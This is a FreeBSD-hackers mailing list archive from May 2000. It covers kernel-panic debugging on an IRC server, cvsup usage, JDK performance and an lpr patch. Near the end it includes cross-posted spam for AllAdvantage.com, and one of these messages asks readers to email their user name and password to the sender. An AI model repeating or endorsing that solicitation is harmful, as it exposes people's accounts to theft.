0 32,64,128,256 ether_multi 7 1K 1K 64189K 7 0 0 16,32,64 routetbl 6193 871K 6957K 64189K 663076 0 0 16,32,64,128,256 in_multi 2 1K 1K 64189K 2 0 0 32 tseg_qent 0 0K 2K 64189K 220376 0 0 32 NFS daemon 1 1K 1K 64189K 1 0 0 256 NQNFS Lease 1 1K 1K 64189K 1 0 0 1K NFS hash 1 64K 64K 64189K 1 0 0 64K p1003.1b 1 1K 1K 64189K 1 0 0 16 pagedep 2 17K 17K 64189K 32 0 0 64,16K inodedep 4 65K 68K 64189K 2813 0 0 128,64K newblk 1 1K 1K 64189K 23834 0 0 32,256 bmsafemap 3 1K 1K 64189K 4690 0 0 32 allocdirect 1 1K 2K 64189K 8555 0 0 64 indirdep 1 1K 25K 64189K 2822 0 0 32,8K allocindir 1 1K 26K 64189K 15278 0 0 64 freefrag 0 0K 4K 64189K 3464 0 0 32 freeblks 0 0K 4K 64189K 1520 0 0 128 freefile 0 0K 1K 64189K 40 0 0 32 diradd 2 1K 1K 64189K 61 0 0 32 dirrem 0 0K 1K 64189K 64 0 0 32 FFS node 13320 3330K 3331K 64189K 14373 0 0 256 UFS ihash 1 64K 64K 64189K 1 0 0 64K UFS mount 9 20K 20K 64189K 9 0 0 512,2K,8K VM pgdata 1 128K 128K 64189K 1 0 0 128K ZONE 18 3K 3K 64189K 18 0 0 128 isadev 11 1K 1K 64189K 11 0 0 64 ATA generic 0 1K 1K 64189K 1 0 0 512 AD driver 1 1K 2K 64189K 277266 0 0 64,1K devbuf 81 175K 175K 64189K 113 0 0 16,32,128,256,512,1K,2K,4K,16K mbuf 1 28K 28K 64189K 1 0 0 32K memdesc 1 4K 4K 64189K 1 0 0 4K isa_devlist 0 0K 2K 64189K 18 0 0 16,512,1K atkbddev 2 1K 1K 64189K 2 0 0 16 Memory Totals: In Use Free Requests 6372K 5380K 13003847 All of the above stats were taken while the network card was spitting out errors prior to performing a reboot which brings the box back online. I also tried unplugging the nic and plugging it back in without out any change. I also over time have replaced everything in the box except the case, but still the problem persists, and in fact took the old hardware and built a different machine that works fine. So something related to the heavy use by the IRC programs is killing this thing almost daily, and I am at a loss as to what. If you or anyone here on the list has any ideas, I would sure love to hear them, as it would be nice to get to the bottom of this issue... ===== Guess thats about it for now, and hopefully someone can give me some pointers, or lend a hand in trying to get this issue resolved as it's driving me nutz.. :) --- Howard Leadmon - howardl@abs.net - http://www.abs.net ABSnet Internet Services - Phone: 410-361-8160 - FAX: 410-361-8162 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 0:57:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 71EF237B963; Wed, 3 May 2000 00:57:10 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id AAA59344; Wed, 3 May 2000 00:57:05 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 00:57:05 -0700 (PDT) From: Matthew Dillon Message-Id: <200005030757.AAA59344@apollo.backplane.com> To: Jan Koum Cc: Peter Wemm , Nik Clayton , hackers@FreeBSD.ORG Subject: Re: /usr/share/examples/cvsup -> /usr/local/share/examples/cvsup References: <20000501142517.3C4641CD7@overcee.netplex.com.au> <20000503003105.D96610@ethereal.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :i agree with peter. first thing i do after a fresh OS install is ftp over :binary from ftp://ftp.freebsd.org/pub/FreeBSD/CVSup/binaries/ : :the next thing is do is: :$ cp /usr/share/examples/cvsup/ . :$ vi :$ ./cvsup -g -L 2 : :so your change won't be the end of the day, but it will just extra step. :[or i just get to learn cvsup command line options ;] : :-- yan Actually you don't have to change the example cvsup file at all usually. Just specify the appropriate override options when you run the cvsup binary (e.g. the -h HOSTNAME option to set the cvsup server to connect to). -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 1:23:43 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by hub.freebsd.org (Postfix) with ESMTP id 76C4F37B94F; Wed, 3 May 2000 01:23:20 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id RAA12069; Wed, 3 May 2000 17:53:47 +0930 (CST) Date: Wed, 3 May 2000 17:53:46 +0930 From: Greg Lehey To: Howard Leadmon Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? Message-ID: <20000503175346.S8284@freebie.lemis.com> References: <200005030748.DAA84934@account.abs.net> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0pre2i In-Reply-To: <200005030748.DAA84934@account.abs.net> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wednesday, 3 May 2000 at 3:48:42 -0400, Howard Leadmon wrote: > > Hello, > > I know I posted a few messages here in the past, but maybe someone who is > good at tracking kernel problems can step up and lend a hand. > > I have a machine running FBSD 4.0-STABLE, and have been experiencing almost > daily kernel panics or reboots on the machine. I have replaced ALL of the > hardware, and reloaded the OS, but still having troubles. I am at a bit of > a loss as to what is going on. From one panic, I thought well maybe this > is an SMP issue, but removed one of the CPU's and still the box crashes. As > I have basically replaced everything, I am at a loss as to where to go from > here, so looking for some type of pointers or help with this.. Indeed. We need to address this issue in some detail. We need both documentation and tools. > The other day I was there, and got the following from one of the > crashes, as many times I am gone and luckally in some ways the box > will just panicboot and go on it's way. Here is what I was able to > copy down: > > > Fatal trap 12: page fault while in kernel mode > mp_lock=01000002; cpuid=1; lapic.id=01000000 > fault virtual address= 0x30 > fault code= supervisor read, page not present > instruction pointer= 0x8:0xC01CAF71 > stack pointer= 0x10:0xFF80DE48 > frame pointer= 0x10:0xFF80DE4C > code segment= base 0x0, limit 0xFFFFF, type 0x1B > = DPL 0, pres 1, def 32, gran 1 > processor eflags= interrupt enabled, resume, IOPL=0 > current process = idle > interupt mask= bio <- SMP: XXX > trap number= 12 > panic: page fault > > The formatting of it may not be perfect, but the information should be > accurate, as I tried to be precise on what I wrote down. Also here are > a few previous messages I had posted a while back when I thought this > might be network related, but after trying several different NIC's I still > have the same issues. I will include the info below, as maybe it will > have some value in trying to debunk this problem. The sad thing is that this information is that most of this information is almost useless. I'm thinking of printing out a stack trace instead (comments, anybody?). Without tedious comparison with your kernel namelist, all we can say here is that you died somewhere in the kernel, that you have an SMP machine, and that the block I/O subsystem is probably involved. If this is happening daily, you should build a kernel with debugging symbols enabled and take a dump of the next crash. We can then use gdb to analyse the dump. > Hello, I am running a 4.0-STABLE machine which is being used to host an > Undernet IRC server, and the machine keeps dying at times, or should I say > the networking side of it is at least dying. At first I thought it might > have been related to the dc (DEC Chip) based drivers, so I replaced it with > a EEpro board using the fxp driver, but the same results. > > If all your dumps have the interrupt mask set to bio, I don't think it's a networking problem. With one possible exception... > Mar 27 12:39:00 u2 /kernel: fxp0: device timeout Søren and I are trying to find out what is causing some weird Vinum problems. He stated that the problem happened more frequently when an fxp board was in the system. I don't believe him, and I've found at least one bug in Vinum that has nothing to do with networking (but does have to do with the bio mask); possibly, however, there's some other problem with the fxp driver. It's possible that the other information will be of use, but I think we first need to look at a dump. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 2: 2:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mx.globalone.ru (mx.globalone.ru [194.84.254.251]) by hub.freebsd.org (Postfix) with ESMTP id C5D5437BB30 for ; Wed, 3 May 2000 02:02:06 -0700 (PDT) (envelope-from a.voropay@globalone.ru) Received: from hq.globalone.ru (hq.globalone.ru [172.16.38.1]) by mx.globalone.ru (8.9.3/8.9.3) with ESMTP id NAA21380 for ; Wed, 3 May 2000 13:02:00 +0400 Received: from host205.spb.in.rosprin.ru ([172.17.13.205]) by hq.globalone.ru (Netscape Messaging Server 3.62) with SMTP id 243 for ; Wed, 3 May 2000 13:02:14 +0400 Message-ID: <1c0501bfb4de$454a4d60$cd0d11ac@host205.spb.in.rosprin.ru> Reply-To: "Alexander Voropay" From: "Alexander Voropay" To: Subject: why JDK 1.1.8 on FreeBFS is so slow ? Date: Wed, 3 May 2000 12:54:25 +0400 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! see http://www.volano.com/report.html for details -- -=AV=- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 2:26:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from account.abs.net (account.abs.net [207.114.5.70]) by hub.freebsd.org (Postfix) with ESMTP id AC5BD37B8D3; Wed, 3 May 2000 02:26:24 -0700 (PDT) (envelope-from howardl@account.abs.net) Received: (from howardl@localhost) by account.abs.net (8.9.3/8.9.3+RBL+DUL+RSS+ORBS) id FAA91225; Wed, 3 May 2000 05:25:30 -0400 (EDT) (envelope-from howardl) From: Howard Leadmon Message-Id: <200005030925.FAA91225@account.abs.net> Subject: Re: Debugging Kernel/System Crashes, can anyone help?? In-Reply-To: <20000503175346.S8284@freebie.lemis.com> from Greg Lehey at "May 3, 2000 05:53:46 pm" To: Greg Lehey Date: Wed, 3 May 2000 05:25:30 -0400 (EDT) Cc: freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL72 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Well I actually have two prior crashes that I did save before I turned off the dumpsaves to avoid running out of drive space, and as I am by no means a gdb user if you could tell me what your looking for I'll be happy to fire up gdb and send you the info. Here is what I grabbed out of the /var/crash directory (hopefully this is useful), and I'll set the system to grab a clean dump next time around.. -rw-r--r-- 1 howardl wheel 31 Apr 8 15:44 bounds.0.gz -rw-r--r-- 1 howardl wheel 31 Apr 9 13:39 bounds.1.gz -rw-r--r-- 1 howardl wheel 825413 Apr 8 15:46 kernel.0.gz -rw-r--r-- 1 howardl wheel 825413 Apr 9 13:40 kernel.1.gz -rw-rw-r-- 1 howardl wheel 5 Feb 14 19:08 minfree -rw-r--r-- 1 howardl wheel 111631734 Apr 8 15:46 vmcore.0.gz -rw-r--r-- 1 howardl wheel 110971933 Apr 9 13:40 vmcore.1.gz NOTE - I gzipped the dumps to save space, as with 384M RAM it was leaving some rather large files... Also, thanks for the quick response.. > > I know I posted a few messages here in the past, but maybe someone who is > > good at tracking kernel problems can step up and lend a hand. > > > > I have a machine running FBSD 4.0-STABLE, and have been experiencing almost > > daily kernel panics or reboots on the machine. I have replaced ALL of the > > hardware, and reloaded the OS, but still having troubles. I am at a bit of > > a loss as to what is going on. From one panic, I thought well maybe this > > is an SMP issue, but removed one of the CPU's and still the box crashes. As > > I have basically replaced everything, I am at a loss as to where to go from > > here, so looking for some type of pointers or help with this.. > > Indeed. We need to address this issue in some detail. We need both > documentation and tools. > > > The other day I was there, and got the following from one of the > > crashes, as many times I am gone and luckally in some ways the box > > will just panicboot and go on it's way. Here is what I was able to > > copy down: > > > > > > Fatal trap 12: page fault while in kernel mode > > mp_lock=01000002; cpuid=1; lapic.id=01000000 > > fault virtual address= 0x30 > > fault code= supervisor read, page not present > > instruction pointer= 0x8:0xC01CAF71 > > stack pointer= 0x10:0xFF80DE48 > > frame pointer= 0x10:0xFF80DE4C > > code segment= base 0x0, limit 0xFFFFF, type 0x1B > > = DPL 0, pres 1, def 32, gran 1 > > processor eflags= interrupt enabled, resume, IOPL=0 > > current process = idle > > interupt mask= bio <- SMP: XXX > > trap number= 12 > > panic: page fault > > > > The formatting of it may not be perfect, but the information should be > > accurate, as I tried to be precise on what I wrote down. Also here are > > a few previous messages I had posted a while back when I thought this > > might be network related, but after trying several different NIC's I still > > have the same issues. I will include the info below, as maybe it will > > have some value in trying to debunk this problem. > > The sad thing is that this information is that most of this > information is almost useless. I'm thinking of printing out a stack > trace instead (comments, anybody?). Without tedious comparison with > your kernel namelist, all we can say here is that you died somewhere > in the kernel, that you have an SMP machine, and that the block I/O > subsystem is probably involved. If this is happening daily, you > should build a kernel with debugging symbols enabled and take a dump > of the next crash. We can then use gdb to analyse the dump. > > > Hello, I am running a 4.0-STABLE machine which is being used to host an > > Undernet IRC server, and the machine keeps dying at times, or should I say > > the networking side of it is at least dying. At first I thought it might > > have been related to the dc (DEC Chip) based drivers, so I replaced it with > > a EEpro board using the fxp driver, but the same results. > > > > > > If all your dumps have the interrupt mask set to bio, I don't think > it's a networking problem. With one possible exception... > > > Mar 27 12:39:00 u2 /kernel: fxp0: device timeout > > S_ren and I are trying to find out what is causing some weird Vinum > problems. He stated that the problem happened more frequently when > an fxp board was in the system. I don't believe him, and I've found > at least one bug in Vinum that has nothing to do with networking (but > does have to do with the bio mask); possibly, however, there's some > other problem with the fxp driver. > > It's possible that the other information will be of use, but I think > we first need to look at a dump. > > Greg > -- > Finger grog@lemis.com for PGP public key > See complete headers for address and phone numbers --- Howard Leadmon - howardl@abs.net - http://www.abs.net ABSnet Internet Services - Phone: 410-361-8160 - FAX: 410-361-8162 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 2:51:59 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id AD33E37BE3D for ; Wed, 3 May 2000 02:49:06 -0700 (PDT) (envelope-from fjoe@iclub.nsu.ru) Received: from localhost (fjoe@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id QAA28755; Wed, 3 May 2000 16:47:39 +0700 (NSS) (envelope-from fjoe@iclub.nsu.ru) Date: Wed, 3 May 2000 16:47:39 +0700 (NSS) From: Max Khon To: Alexander Voropay Cc: hackers@FreeBSD.org Subject: Re: why JDK 1.1.8 on FreeBFS is so slow ? In-Reply-To: <1c0501bfb4de$454a4d60$cd0d11ac@host205.spb.in.rosprin.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, there! On Wed, 3 May 2000, Alexander Voropay wrote: > see > http://www.volano.com/report.html > for details (quoting from their page) JDK 1.1.8 FreeBSD JDK 1.1.8 for FreeBSD FreeBSD 3.2-RELEASE Java version "jdk1.1.8-FreeBSD:1999/7/19" Installed from jdk1.1.8_ELF.V99-7-19.tar.gz (11,337,773 bytes). Uses user-level threads and no just-in-time compiler. ^^^^^^^^^^^^^^^^^^^^^^^^ Increased the per-process file descriptor limit to 4096 (from 1064) and the system-wide file descriptor limit to 8192 (from 1064) by using sysctl to modify the kern.maxfilesperproc and kern.maxfiles variables in /etc/rc.local. See our FreeBSD Support page for details. Blackdown JDK 1.1.7 for Linux does not have JIT too and shows nearly the same bad performance. The are several third-party JIT's you can to try (tya, openjit). /fjoe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 3:45:54 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from elisa.utopianet.net (elisa.utopianet.net [212.210.231.2]) by hub.freebsd.org (Postfix) with ESMTP id 725C437BAFC for ; Wed, 3 May 2000 03:45:40 -0700 (PDT) (envelope-from l.iania@sintesi.net) Received: from lorenzo (giorgia.sintesi.net [212.210.231.9]) by elisa.utopianet.net (8.9.1a/8.9.1) with SMTP id MAA23313 for ; Wed, 3 May 2000 12:45:18 +0200 (CEST) Message-ID: <005001bfb4ed$05000740$0500000a@sintesi.intr> Reply-To: "Lorenzo Iania" From: "Lorenzo Iania" To: Subject: Fw: bin/18361: [PATCH] Fix for queue-ordering problem in lpr/lpd/lpq Date: Wed, 3 May 2000 12:47:47 +0200 Organization: S.IN.TE.S.I. Srl MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Lorenzo Iania" To: ; Sent: Wednesday, May 03, 2000 12:46 PM Subject: Re: bin/18361: [PATCH] Fix for queue-ordering problem in lpr/lpd/lpq > Yes I think it works fine now. > > Do you think that the limit of 1000 requests is adeguate? > > Best regards > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 4:33: 3 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id 1E48037B80A for ; Wed, 3 May 2000 04:33:01 -0700 (PDT) (envelope-from K.J.Koster@kpn.com) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #35196) with ESMTP id <01JOYR4H248G001ASH@research.kpn.com> for freebsd-hackers@freebsd.org; Wed, 3 May 2000 13:32:58 +0200 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Wed, 03 May 2000 13:32:57 +0100 Content-return: allowed Date: Wed, 03 May 2000 13:32:56 +0100 From: "Koster, K.J." Subject: RE: /usr/share/examples/cvsup -> /usr/local/share/examples/cvsup To: 'FreeBSD Hackers mailing list' Message-id: <59063B5B4D98D311BC0D0001FA7E452201313B59@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What's wrong with: $ fetch ftp://ftp.freebsd.org/.../cvsup.tgz $ pkg_add cvsup.tgz $ vi ... ? Kees Jan ============================================== You are only young once, but you can stay immature all your life To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 4:44:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by hub.freebsd.org (Postfix) with ESMTP id 5F0C537B639 for ; Wed, 3 May 2000 04:44:09 -0700 (PDT) (envelope-from K.J.Koster@kpn.com) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #35196) with ESMTP id <01JOYRI9EVFO00171P@research.kpn.com> for hackers@FreeBSD.ORG; Wed, 3 May 2000 13:44:05 +0200 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2650.21) id ; Wed, 03 May 2000 13:44:04 +0100 Content-return: allowed Date: Wed, 03 May 2000 13:44:03 +0100 From: "Koster, K.J." Subject: RE: why JDK 1.1.8 on FreeBFS is so slow ? To: 'Max Khon' , Alexander Voropay Cc: hackers@FreeBSD.ORG Message-id: <59063B5B4D98D311BC0D0001FA7E452201313B5A@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi guys, We're in the process of porting JDK 1.2.2. Sun has not released their JIT under the SCSL, unfortunately. If we're lucky, Sun will give us a break and give us access to that code under a special license. They did that for the Blackdown porting team. As it stands, however, 1.2.2 will not have a JIT either, unless someone finds a way to persuade Sun to help us out on this one. There are a number of JIT's available in the ports collection. Install and use those. I have a description that Fuyuhiko Maruyama has written on how to do that for the JDK 1.2.2 port, but I am sure you can figure out how to do that for 1.1.8 too. http://web.inter.nl.net/users/kjkoster/java/content/howto.html#hd03 Kees Jan ============================================== You are only young once, but you can stay immature all your life To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 5:17: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pop.atlas.cz (pop.atlas.cz [195.119.187.150]) by hub.freebsd.org (Postfix) with ESMTP id 34C9237B676 for ; Wed, 3 May 2000 05:17:03 -0700 (PDT) (envelope-from hspio@worldnet.att.net) Received: from mail pickup service by pop.atlas.cz with Microsoft SMTPSVC; Wed, 3 May 2000 14:15:29 +0200 Received: from vger.rutgers.edu ([128.6.190.2]) by pop.atlas.cz with Microsoft SMTPSVC(5.5.1877.357.35); Wed, 3 May 2000 05:41:26 +0200 Received: by vger.rutgers.edu via listexpand id convert rfc822-to-quoted-printable; Tue, 2 May 2000 23:30:49 -0400 Received: by vger.rutgers.edu id ; Tue, 2 May 2000 23:28:19 -0400 Received: from mtiwmhc21.worldnet.att.net ([204.127.131.46]:34165 "EHLO mtiwmhc21.worldnet.att.net") by vger.rutgers.edu with ESMTP id convert rfc822-to-8bit; Tue, 2 May 2000 23:26:44 -0400 Received: from default ([12.77.199.177]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000503033451.ZMLO1339.mtiwmhc21.worldnet.att.net@default>; Wed, 3 May 2000 03:34:51 +0000 From: hspio@worldnet.att.net To: cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Date: Tue, 2 May 2000 23:27:04 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Subject: I Surf, YOU GET PAID!!!!!! Promise X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: <20000503033451.ZMLO1339.mtiwmhc21.worldnet.att.net@default> X-Loop: majordomo@vger.rutgers.edu X-Orcpt: rfc822;linux-config-outgoing Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I WILL SURF FOR YOU, JUST FOR FILLING OUT A SMALL FORM Do you realize how valuable you are as an Internet user? Did you=20 know that you can be paid when you=92re on the Web? AND off the=20 WEB!!!!!! Interested? Become an AllAdvantage.com member now!=20 It's free to join and your privacy is completely protected. Check out=20 these impressive facts:=20 They've paid over $10 million to members in the US, UK and=20 Canada in the last three months alone;=20 Now they're paying members in France, Germany, Australia, New=20 Zealand and the US territories, too -- more countries coming soon;=20 Later this month all members will be able to purchase anti-virus=20 software at a significant discount through their AllAdvantage=20 accounts;=20 Soon they're releasing Viewbars to Mac users, making=20 AllAdvantage one of the first Viewbar companies to do so;=20 They've developed and soon will release an upgraded version of the=20 Viewbar software that's equipped with instant search capability,=20 convenient quicklinks to the Web's most popular sites, and of=20 course, pays you to surf!=20 It takes only minutes to join, download the free AllAdvantage.com=20 Viewbar software, and start surfing the Web with the Viewbar on=20 your screen. But You DON'T even need the Veiw Bar cause I have=20 a program that eliminates that all and all you have to do "After you=20 sign up" is Email me YOUR USER NAME and PASSWORD so I=20 CAN START SURFING THE WEB FOR YOU SO YOU CAN=20 START MAKING MONEY. You don't even have to download the=20 veiw bar you are done with alladvantage once you sign up and give=20 me your user name and password. You can earn even more when=20 you tell your friends about it. Really! It's all about becoming part of= =20 a community that finally recognizes our value as consumers.=20 Join now (there's no survey to fill out) at=20 http://www.alladvantage.com/home.asp?refid=3DLZG150 and please=20 use my membership ID (LZG-150) when asked if you were referred=20 by someone. And http://cheetahtech.cjb.net Thanks a lot and happy surfing!=20 Scott Pio Member ID# LZG-150 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 5:17:25 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pop.atlas.cz (pop.atlas.cz [195.119.187.150]) by hub.freebsd.org (Postfix) with ESMTP id 2552337BC50 for ; Wed, 3 May 2000 05:17:16 -0700 (PDT) (envelope-from hspio@worldnet.att.net) Received: from mail pickup service by pop.atlas.cz with Microsoft SMTPSVC; Wed, 3 May 2000 14:15:40 +0200 Received: from vger.rutgers.edu ([128.6.190.2]) by pop.atlas.cz with Microsoft SMTPSVC(5.5.1877.357.35); Wed, 3 May 2000 05:38:36 +0200 Received: by vger.rutgers.edu via listexpand id convert rfc822-to-quoted-printable; Tue, 2 May 2000 23:28:10 -0400 Received: by vger.rutgers.edu id ; Tue, 2 May 2000 23:26:20 -0400 Received: from mtiwmhc21.worldnet.att.net ([204.127.131.46]:33933 "EHLO mtiwmhc21.worldnet.att.net") by vger.rutgers.edu with ESMTP id convert rfc822-to-8bit; Tue, 2 May 2000 23:26:00 -0400 Received: from default ([12.77.199.177]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000503033403.ZMEM1339.mtiwmhc21.worldnet.att.net@default>; Wed, 3 May 2000 03:34:03 +0000 From: hspio@worldnet.att.net To: cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Date: Tue, 2 May 2000 23:27:04 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Subject: I Surf, YOU GET PAID!!!!!! Promise X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: <20000503033403.ZMEM1339.mtiwmhc21.worldnet.att.net@default> X-Loop: majordomo@vger.rutgers.edu X-Orcpt: rfc822;linux-config-outgoing Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I WILL SURF FOR YOU, JUST FOR FILLING OUT A SMALL FORM Do you realize how valuable you are as an Internet user? Did you=20 know that you can be paid when you=92re on the Web? AND off the=20 WEB!!!!!! Interested? Become an AllAdvantage.com member now!=20 It's free to join and your privacy is completely protected. Check out=20 these impressive facts:=20 They've paid over $10 million to members in the US, UK and=20 Canada in the last three months alone;=20 Now they're paying members in France, Germany, Australia, New=20 Zealand and the US territories, too -- more countries coming soon;=20 Later this month all members will be able to purchase anti-virus=20 software at a significant discount through their AllAdvantage=20 accounts;=20 Soon they're releasing Viewbars to Mac users, making=20 AllAdvantage one of the first Viewbar companies to do so;=20 They've developed and soon will release an upgraded version of the=20 Viewbar software that's equipped with instant search capability,=20 convenient quicklinks to the Web's most popular sites, and of=20 course, pays you to surf!=20 It takes only minutes to join, download the free AllAdvantage.com=20 Viewbar software, and start surfing the Web with the Viewbar on=20 your screen. But you DON'T even need the You can earn even=20 more when you tell your friends about it. Really! It's all about=20 becoming part of a community that finally recognizes our value as=20 consumers.=20 Join now (there's no survey to fill out) at=20 http://www.alladvantage.com/home.asp?refid=3DDAC-941 and please=20 use my membership ID (DAC-941) when asked if you were referred=20 by someone.=20 Thanks a lot and happy surfing!=20 John Stockton Member ID# DAC-941 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 5:17:32 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from pop.atlas.cz (pop.atlas.cz [195.119.187.150]) by hub.freebsd.org (Postfix) with ESMTP id B58F237B676 for ; Wed, 3 May 2000 05:17:20 -0700 (PDT) (envelope-from hspio@worldnet.att.net) Received: from mail pickup service by pop.atlas.cz with Microsoft SMTPSVC; Wed, 3 May 2000 14:15:46 +0200 Received: from vger.rutgers.edu ([128.6.190.2]) by pop.atlas.cz with Microsoft SMTPSVC(5.5.1877.357.35); Wed, 3 May 2000 05:35:45 +0200 Received: by vger.rutgers.edu via listexpand id convert rfc822-to-quoted-printable; Tue, 2 May 2000 23:26:16 -0400 Received: by vger.rutgers.edu id ; Tue, 2 May 2000 23:25:59 -0400 Received: from mtiwmhc21.worldnet.att.net ([204.127.131.46]:33687 "EHLO mtiwmhc21.worldnet.att.net") by vger.rutgers.edu with ESMTP id convert rfc822-to-8bit; Tue, 2 May 2000 23:25:42 -0400 Received: from default ([12.77.199.177]) by mtiwmhc21.worldnet.att.net (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000503033321.ZLXH1339.mtiwmhc21.worldnet.att.net@default>; Wed, 3 May 2000 03:33:21 +0000 From: hspio@worldnet.att.net To: cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, 